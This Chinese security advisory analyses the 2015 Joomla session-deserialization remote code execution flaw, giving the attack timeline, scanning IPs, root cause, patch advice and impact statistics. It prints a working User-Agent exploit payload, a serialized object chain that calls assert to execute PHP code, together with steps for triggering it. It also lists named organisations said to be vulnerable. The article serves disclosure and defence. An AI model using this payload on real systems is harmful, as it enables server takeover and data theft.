Joomla高危漏洞扫描事件分析

2015-12-17 308555人围观 ,发现 9 个不明物体 数据安全观点

1.摘要

12月14日,Joomla官方网站紧急发布了一条由于安全漏洞引发的版本更新(3.4.6),根据安全公司sucuri对外发布的信息,此事扫描时间是利用了Joomla的反序列化特性的问题导致命令执行的高危漏洞。从中国时间12月13日凌晨开始,有3个IP针对全球的网站进行了大规模的扫描。根据白帽汇安全团队的分析,此次扫描有两个特性:一是针对中国的网站扫描的较少,大批量针对国外的网站进行的;二是扫描并没有触发实质性的破坏工作。

虽然此次扫描并没有进行实质性的破坏,但是漏洞本身是高危害性的,成功攻击的情况下会导致敏感数据丢失,服务器被控制,甚至是服务中断。建议使用了Joomla的网站尽快到官方网站进行补丁更新,在最新版本3.4.6之前的所有版本都受影响。

通过对全球60万家采用Joomla的网站进行进一步分析,截至12月15日23点30分,此次漏洞影响至少超过49000家网站,绝大部分集中在国外(美国排名第一),国内目前监控到超过600家网站存在漏洞,我们会在后续持续更新进一步动态。

2.事件回溯

12月13日,由IP 74.3.170.33 发起的小规模漏洞扫描;
12月14日到15日,由IP 146.0.72.83 和194.28.174.106发起的更大规模的全网扫描。
12月15日,安全公司sucuri的官方博客对外发布消息,表示在中国时间12月13日陆续截获到了来自3个IP的大规模扫描事件。
12月15日,joomla官方发布最新版本3.4.6修复该漏洞。
12月15日,国内各安全相关团队对互联网进行了激烈的比拼扫描,为国内互联网流量增长持续贡献价值。

经过技术分析,此次漏洞利用需要在一个session会话内进行两次发包,而实际上我们通过大量的安全日志分析只看到了第一次POC的发送,并没有看到第二次利用的过程,这是我们比较不理解的。所以我们也并没有看到实质性的破坏工作,这也是不幸中的万幸。

3.技术还原

通过Diff最新的补丁发现官方在补丁中删除了User-Agent的获取:


这个漏洞存在于反序列化session的过程中,在libraries/joomla/session/session.php 文件中,_validate函数通过set把User-Agent数据存入进数据库:

joomla并没有采用php自带的session处理机制,而是用自己编写了存储session的容器(storage),其存储格式为『键名 + 竖线 + 经过 serialize() 函数反序列处理的值』,这里并没有正确处理多个竖线的情况。所以,攻击者就可以通过注入一个"|"符号,将它前面的部分全部认为是name,而|后面我就可以插入任意serialize字符串,进行触发反序列化漏洞了。       

我们可以构造一个exp插入User-Agent:

User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:”phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}ð

进行访问站点,把恶意的User-Agent插入数据库,然后再此访问站点成功利用(注意cookie保证一致)

更多技术细节

4.影响危害

易攻击对象:

采用Joomla系统
版本低于3.4.6(也就是12月15日之前的所有版本)

5.修补加固建议

此次事件利用的漏洞影响范围非常广泛,所以请所有采用Joomla的网站尽快升级至3.4.6版本或安装官方补丁:

3.x版本到如下地址下载

2.x版本到如下地址下载

注:下载补丁直接替换\libraries\joomla\session\session.php文件。

另外,可以通过加入一些安全云防护类产品来进行保护,比如360网站卫士,百度云加速,知道创宇加速乐等等,他们在漏洞发生后的第一时间内都增加了防护规则。

6.常见问题FAQ

Joomla是什么?

Joomla是一套在国外相当知名的内容管理系统(简称CMS),使用PHP语言和MySQL数据库开发,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。在国内实际应用的场景不算太多。

这次扫描事件有什么危害?

成功的入侵能够导致敏感数据丢失,服务器被完全控制,甚至是服务中断。

影响范围有多大?

全球大约有60万采用Joomla进行建站的网站,中国互联网大约有11000家网站。通过白帽汇安全团队的监控,至少有49000家网站受影响,主要集中在美国,国内实际影响的网站数超过627家。

到哪下载补丁?

3.x版本到如下地址下载:

https://github.com/joomla/joomla-cms/releases/tag/3.4.6

2.x版本到如下地址下载:

https://github.com/joomla/joomla-cms/releases/download/3.4.6/SessionFix25v1.zip

我应该怎么做?

参考修复建议,直接更新版本或者补丁。

如果发现了入侵痕迹,还要将已经入侵成功的后门进行清除。

7.影响的部分网站

此次漏洞影响的网站主要集中在国外,全球漏洞排名前十的国家是:

11781 美国
6522 德国
3622 波兰
3474 荷兰
2427 俄罗斯
2423 法国
1751 英国
1392 意大利
1232 澳大利亚
1049 加拿大

国内影响的部分知名网站:

国家林业局
OPPO手机
中央广播电视大学
华东政法大学
香港中文大学
GLP集团
中山大学
东莞电子科技大学
红豆集团
富国集团
陕西师范大学
商丘廉政网
世界O2O博览会
博雅方略咨询(集团)
石家庄铁道大学
葵花游戏
凉山矿业股份有限公司
四姑娘山官方网站。

国外影响的部分知名网站:

哈佛大学
麻省理工大学
剑桥大学
Intel
IEEE
Honda
牛津大学
东京大学
加州州议会大厦博物馆
Utah尤他政府网
南佛罗里达大学
Amtrak警察局
CashStar。

对应的世界地图为:

8.参考

https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

https://github.com/rapid7/metasploit-framework/issues/6347

http://php.net/session_set_save_handler

http://php.net/manual/zh/session.configuration.php#ini.session.serialize-handler

https://github.com/joomla/joomla-cms/compare/3.4.5…3.4.6?diff=split&name=3.4.6

http://drops.wooyun.org/papers/11330

*本文作者:白帽汇(企业账号),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

这些评论亮了

发表评论

已有 9 条评论

取消
Loading...
css.php